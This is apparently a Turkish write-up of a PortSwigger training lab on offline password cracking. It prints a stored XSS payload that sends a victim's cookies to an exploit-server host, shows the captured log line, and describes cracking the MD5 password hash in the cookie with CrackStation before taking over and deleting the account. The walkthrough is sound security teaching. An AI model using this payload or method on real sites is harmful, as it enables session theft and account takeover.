Oturumu Açık Tutma
Oturumu Açık Tutma
Bazı nadir durumlarda, çerez içinde hash’lenmiş bile olsa, bir kullanıcının gerçek parolasını düz metin olarak elde etmek mümkün olabilir. Bunun nedeni, internette yaygın parola listelerinin hash’lenmiş sürümlerinin bulunmasıdır. Eğer kullanıcının parolası bu listelerde yer alıyorsa, ilgili hash’i çözmek bazen sadece hash’i bir arama motoruna yapıştırmak kadar kolay olabilir.
Bu durum, şifreleme yaparken salt kullanılmasının ne kadar kritik olduğunu açıkça gösteriyor.
Lab: Offline Password Cracking
Seviye: Practitioner
Carlos’un stay-logged-in cookie’sini XSS ile çalacağız → MD5 hash’i çözeceğiz → Carlos olarak giriş yapıp hesabını sileceğiz.
Lab bize şu bilgileri veriyor:
Bizim hesabımız: wiener : peter
Hedef kullanıcı: carlos
Sistem: Stay-logged-in cookie içinde md5(password) saklıyor
Yorum bölümü: Stored XSS zafiyetli
İlk olarak, wiener hesabıyla giriş yaptım ve “Stay logged in” kutucuğunu işaretledim.

Burp Suite üzerinden istekleri takip ederek tarayıcıya eklenen stay-logged-in cookie’sini yakaladım.

Cookie’yi Decoder panelinde Base64’ten çözdüm ve şu yapıyla karşılaştım:

Yani format tam olarak şu:
base64(username + ":" + md5(password))Hash’in hangi tür olduğunu anlamak için bunu NameThatHash’e gönderdim → MD5 olduğunu doğruladı. CrackStation üzerinden kontrol ettiğimde hash’in aslında “peter” olduğunu gördüm. Bu aşamada cookie’nin mantığını çözdüm ve Carlos’un parolasını da aynı şekilde kırabileceğimi biliyordum.
Lab’daki yorum bölümü Stored XSS’e açık.

Yani bir blog gönderisine kötü amaçlı bir script eklediğimizde, Carlos o sayfayı görüntülediğinde script otomatik çalışacak.
Lab bize ayrıca bir Exploit Server veriyor. Bu server, payload’tan gelecek istekleri dinleyip logluyor. Biz de Carlos’un cookie’sini buradan koparacağız. Exploit server’ın URL’si şöyle bir şey oluyor:
https://exploit-0ab500d50376ce1b80972a8401de008b.exploit-server.net/log
Şimdi bir blog yazısına aşağıdaki XSS payload’ını yorum olarak giriyoruz:
<script>
document.location='https://exploit-0ab500d50376ce1b80972a8401de008b.exploit-server.net/'+document.cookie
</script>Dikkat edilmesi gereken noktalar:
URL’nin sonunda tırnakları doğru kapatmak
+document.cookie ile çerezi URL’nin sonuna eklemek
Carlos blogu görüntülediğinde tarayıcı otomatik olarak exploit server’a şu formatta bir GET isteği gönderecek:
GET /carlosBase64EncodedCookie
Exploit server’daki Access Log sayfasına gidiyoruz.

Bir süre sonra (Carlos yorumu görüntülediğinde) şöyle bir satır görünüyor:
ip 2025–11–30 10:01:20 +0000 “GET /exploit?c=secret=DCjHeAnoNUWffEUbVvvMZ53pI5aGk5KA;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1” 200 “user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36”
Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz
Bu, Carlos’un stay-logged-in çerezi.
Base64 decode ettiğimizde:

crackstation ile çözdüğümüzde ise

carlosun şifresinin onceuponatime olduğunu görüyoruz. Hesabına giriş yapalım ve kullanıcıyı silelim


Lab bu şekilde çözüldü . Bu labı çözerken hem eğlendim hem de gerçekten “aa bak bu mantık böyle işliyormuş” dediğim noktalar oldu. Özellikle XSS ile çerez toplamak + hash kırmak birleşince ortaya çok öğretici bir akış çıkıyor. PortSwigger’ın bu tarz senaryoları, pratik düşünme kasını güçlendirmek için birebir.
Sıradaki labda görüşürüz! 😄







